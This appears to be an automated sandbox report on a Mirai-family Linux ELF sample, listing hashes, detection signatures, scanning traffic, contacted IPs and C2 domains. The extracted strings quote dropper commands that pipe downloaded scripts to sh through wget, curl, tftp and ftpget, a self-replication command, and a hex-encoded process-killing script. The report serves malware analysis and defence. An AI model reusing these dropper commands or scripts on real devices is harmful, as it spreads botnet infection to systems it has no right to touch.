Linux Analysis Report
jklm68k.elf

Overview

General Information

Sample name: jklm68k.elf
Analysis ID: 1543160
MD5: ae34d852d05889972d255a1d8820d701
SHA1: f9fdbf9ee8f8abdf933380890827aac7a6ed3107
SHA256: 740e40327df16d245b72ab0bdaf3bf727c81b7330a9a63402f68e7533c661ffe
Tags: elfMiraiuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: jklm68k.elf ReversingLabs: Detection: 52%
Found strings indicative of a multi-platform dropper
Source: jklm68k.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:57394 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/jklm68k.elf (PID: 5610) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 46.18.143.147
Source: unknown TCP traffic detected without corresponding DNS query: 46.18.143.147
Source: unknown TCP traffic detected without corresponding DNS query: 68.55.86.187
Source: unknown TCP traffic detected without corresponding DNS query: 68.55.86.187
Source: unknown TCP traffic detected without corresponding DNS query: 135.205.154.162
Source: unknown TCP traffic detected without corresponding DNS query: 135.205.154.162
Source: unknown TCP traffic detected without corresponding DNS query: 133.20.36.37
Source: unknown TCP traffic detected without corresponding DNS query: 133.20.36.37
Source: unknown TCP traffic detected without corresponding DNS query: 100.46.102.25
Source: unknown TCP traffic detected without corresponding DNS query: 100.46.102.25
Source: unknown TCP traffic detected without corresponding DNS query: 91.229.81.160
Source: unknown TCP traffic detected without corresponding DNS query: 91.229.81.160
Source: unknown TCP traffic detected without corresponding DNS query: 37.69.118.157
Source: unknown TCP traffic detected without corresponding DNS query: 37.69.118.157
Source: unknown TCP traffic detected without corresponding DNS query: 94.80.36.170
Source: unknown TCP traffic detected without corresponding DNS query: 94.80.36.170
Source: unknown TCP traffic detected without corresponding DNS query: 138.90.198.21
Source: unknown TCP traffic detected without corresponding DNS query: 138.90.198.21
Source: unknown TCP traffic detected without corresponding DNS query: 49.37.131.230
Source: unknown TCP traffic detected without corresponding DNS query: 49.37.131.230
Source: unknown TCP traffic detected without corresponding DNS query: 157.254.94.109
Source: unknown TCP traffic detected without corresponding DNS query: 157.254.94.109
Source: unknown TCP traffic detected without corresponding DNS query: 205.17.30.18
Source: unknown TCP traffic detected without corresponding DNS query: 205.17.30.18
Source: unknown TCP traffic detected without corresponding DNS query: 6.74.202.248
Source: unknown TCP traffic detected without corresponding DNS query: 171.4.27.133
Source: unknown TCP traffic detected without corresponding DNS query: 6.74.202.248
Source: unknown TCP traffic detected without corresponding DNS query: 185.66.18.73
Source: unknown TCP traffic detected without corresponding DNS query: 171.4.27.133
Source: unknown TCP traffic detected without corresponding DNS query: 185.66.18.73
Source: unknown TCP traffic detected without corresponding DNS query: 95.47.0.141
Source: unknown TCP traffic detected without corresponding DNS query: 95.47.0.141
Source: unknown TCP traffic detected without corresponding DNS query: 161.191.184.189
Source: unknown TCP traffic detected without corresponding DNS query: 209.81.32.7
Source: unknown TCP traffic detected without corresponding DNS query: 161.191.184.189
Source: unknown TCP traffic detected without corresponding DNS query: 222.243.249.171
Source: unknown TCP traffic detected without corresponding DNS query: 209.81.32.7
Source: unknown TCP traffic detected without corresponding DNS query: 20.80.157.73
Source: unknown TCP traffic detected without corresponding DNS query: 222.243.249.171
Source: unknown TCP traffic detected without corresponding DNS query: 3.41.240.182
Source: unknown TCP traffic detected without corresponding DNS query: 20.80.157.73
Source: unknown TCP traffic detected without corresponding DNS query: 150.127.215.212
Source: unknown TCP traffic detected without corresponding DNS query: 112.83.172.103
Source: unknown TCP traffic detected without corresponding DNS query: 3.41.240.182
Source: unknown TCP traffic detected without corresponding DNS query: 150.127.215.212
Source: unknown TCP traffic detected without corresponding DNS query: 49.30.133.199
Source: unknown TCP traffic detected without corresponding DNS query: 112.83.172.103
Source: unknown TCP traffic detected without corresponding DNS query: 88.180.196.80
Source: unknown TCP traffic detected without corresponding DNS query: 49.30.133.199
Source: unknown TCP traffic detected without corresponding DNS query: 73.199.85.92
Source: global traffic DNS traffic detected: DNS query: netfags.geek
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: jklm68k.elf String found in binary or memory: http:///curl.sh
Source: jklm68k.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/100@2/0
Enumerates processes within the "proc" file system
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5690/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5690/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5640/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5640/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5640/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5640/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5641/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5641/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5641/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5641/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5642/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5642/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5642/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5642/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5632/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5632/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5643/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5643/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5643/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5643/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5698/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5698/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5622/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5622/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5622/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5622/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5633/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5633/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5644/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5644/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5644/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5644/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5634/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5634/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5645/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5645/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5645/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5645/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5635/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5635/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5646/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5646/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5646/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5646/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5636/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5636/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5647/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5647/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5647/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5647/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5637/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5637/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5637/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5637/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5648/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5648/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5648/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5648/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5638/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5638/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5638/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5638/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5639/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5639/cmdline Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5639/maps Jump to behavior
Source: /tmp/jklm68k.elf (PID: 5616) File opened: /proc/5639/cmdline Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/jklm68k.elf (PID: 5610) Queries kernel information via 'uname': Jump to behavior
Source: jklm68k.elf, 5610.1.00007fff27eba000.00007fff27edb000.rw-.sdmp, jklm68k.elf, 5614.1.00007fff27eba000.00007fff27edb000.rw-.sdmp Binary or memory string: 7x86_64/usr/bin/qemu-m68k/tmp/jklm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklm68k.elf
Source: jklm68k.elf, 5610.1.0000558fa79f5000.0000558fa7a79000.rw-.sdmp, jklm68k.elf, 5614.1.0000558fa79f5000.0000558fa7a79000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: jklm68k.elf, 5610.1.00007fff27eba000.00007fff27edb000.rw-.sdmp, jklm68k.elf, 5614.1.00007fff27eba000.00007fff27edb000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: jklm68k.elf, 5610.1.0000558fa79f5000.0000558fa7a79000.rw-.sdmp, jklm68k.elf, 5614.1.0000558fa79f5000.0000558fa7a79000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
184.70.201.74
 unknown Canada
6327 SHAWCA false
162.112.119.175
 unknown New Zealand
45946 AIRNZ-AS2-NZAirNewZealandLimitedNZ false
40.17.175.214
 unknown United States
4249 LILLY-ASUS false
145.152.199.4
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
58.98.118.124
 unknown Japan 9595 XEPHIONNTT-MECorporationJP false
119.43.166.84
 unknown India
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
146.188.242.19
 unknown United Kingdom
702 UUNETUS false
202.150.53.109
 unknown Japan 18126 CTCXChubuTelecommunicationsCompanyIncJP false
138.209.184.99
 unknown United States
21727 HAMLINE-EDUUS false
45.98.188.64
 unknown Egypt
37069 MOBINILEG false
118.62.225.236
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
163.99.23.9
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
15.31.179.144
 unknown United States
13979 ATT-IPFRUS false
91.21.45.203
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
63.211.19.51
 unknown United States
3356 LEVEL3US false
14.162.95.192
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
125.38.10.177
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
175.0.93.154
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
130.95.35.220
 unknown Australia
24437 UWA-AS-APUniversityofWesternAustraliaAU false
17.115.203.127
 unknown United States
714 APPLE-ENGINEERINGUS false
140.250.56.107
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
196.14.36.93
 unknown South Africa
3741 ISZA false
106.16.14.113
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
198.132.128.157
 unknown United States
292 ESNET-WESTUS false
142.49.75.163
 unknown Canada
3633 PROVINCE-OF-BRITISH-COLUMBIACA false
157.152.51.129
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
47.63.62.26
 unknown United States
12430 VODAFONE_ESES false
23.150.148.129
 unknown Reserved
7883 ELPC-INCCA false
99.243.210.91
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
197.55.171.106
 unknown Egypt
8452 TE-ASTE-ASEG false
151.53.108.228
 unknown Italy
1267 ASN-WINDTREIUNETEU false
21.127.39.100
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
84.226.121.200
 unknown Switzerland
6730 SUNRISECH false
111.5.43.141
 unknown China
24445 CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN false
220.111.174.23
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
184.173.134.173
 unknown United States
36351 SOFTLAYERUS false
169.213.112.246
 unknown Korea Republic of
37611 AfrihostZA false
52.142.214.244
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
27.7.116.214
 unknown India
17488 HATHWAY-NET-APHathwayIPOverCableInternetIN false
67.53.22.201
 unknown United States
10796 TWC-10796-MIDWESTUS false
21.220.178.215
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
37.118.222.50
 unknown Italy
30722 VODAFONE-IT-ASNIT false
167.245.147.43
 unknown United States
13325 STOMIUS false
102.2.134.205
 unknown unknown
36926 CKL1-ASNKE false
80.51.201.8
 unknown Poland
5617 TPNETPL false
123.237.27.82
 unknown India
18101 RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC false
101.136.84.161
 unknown Taiwan; Republic of China (ROC)
131591 AMBIT-AS-TWAmbitMicrosystemCorporationTW false
1.223.114.76
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
195.142.249.32
 unknown Turkey
34984 TELLCOM-ASTR false
145.117.234.227
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
132.211.172.35
 unknown Canada
376 RISQ-ASCA false
107.206.3.31
 unknown United States
7018 ATT-INTERNET4US false
152.187.82.74
 unknown United States
701 UUNETUS false
107.224.203.241
 unknown United States
7018 ATT-INTERNET4US false
24.8.8.151
 unknown United States
7922 COMCAST-7922US false
103.89.73.75
 unknown Australia
136471 OPTIVERPTYLTD-AS-APOptiverPtyLtdAU false
107.49.0.162
 unknown United States
16567 NETRIX-16567US false
81.130.15.232
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
101.32.73.40
 unknown China
132203 TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN false
221.188.49.106
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
191.84.158.74
 unknown Argentina
22927 TelefonicadeArgentinaAR false
110.33.144.22
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
55.102.73.138
 unknown United States
361 DNIC-ASBLK-00306-00371US false
89.77.199.89
 unknown Poland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
218.192.44.175
 unknown China
24357 CNGI-GZ-IX-AS-APCERNET2IXatSouthChinaUniversityofTec false
215.201.212.58
 unknown United States
721 DNIC-ASBLK-00721-00726US false
92.243.107.229
 unknown Russian Federation
31036 NEWTELESYSTEMSRU false
15.107.186.107
 unknown United States
13979 ATT-IPFRUS false
214.70.123.171
 unknown United States
721 DNIC-ASBLK-00721-00726US false
8.83.203.103
 unknown United States
3356 LEVEL3US false
55.8.158.181
 unknown United States
316 DNIC-ASBLK-00306-00371US false
161.87.121.27
 unknown Netherlands
14298 EPA-NETUS false
40.102.238.246
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
148.41.144.167
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
58.166.238.231
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
81.11.205.157
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
58.236.84.47
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
87.79.195.228
 unknown Germany
8422 NETCOLOGNEDE false
175.134.133.143
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
165.122.35.218
 unknown United States
3375 MCI-ASNUS false
58.177.246.249
 unknown Hong Kong
9269 HKBN-AS-APHongKongBroadbandNetworkLtdHK false
108.224.250.135
 unknown United States
7018 ATT-INTERNET4US false
76.243.148.108
 unknown United States
7018 ATT-INTERNET4US false
145.239.88.167
 unknown France
16276 OVHFR false
208.246.141.68
 unknown United States
4208 THE-ISERV-COMPANYUS false
73.64.139.164
 unknown United States
7922 COMCAST-7922US false
69.198.196.230
 unknown United States
17184 ATL-CBEYONDUS false
212.248.18.247
 unknown Russian Federation
8359 MTSRU false
33.95.164.110
 unknown United States
2686 ATGS-MMD-ASUS false
121.182.123.206
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
30.130.176.220
 unknown United States
7922 COMCAST-7922US false
39.161.30.115
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
96.134.24.212
 unknown United States
7922 COMCAST-7922US false
172.89.115.11
 unknown United States
20001 TWC-20001-PACWESTUS false
156.235.189.140
 unknown Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK false
130.149.172.76
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
178.166.30.79
 unknown Portugal
12353 VODAFONE-PTVodafonePortugalPT false
216.101.101.170
 unknown United States
7132 SBIS-ASUS false
84.113.123.131
 unknown Austria
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
212.43.148.57
 unknown Switzerland
8801 NETSERVSwitzerlandCH false

Contacted Domains

Name IP Active
netfags.geek 45.156.86.24 true
burnthe.libre 45.156.86.24 true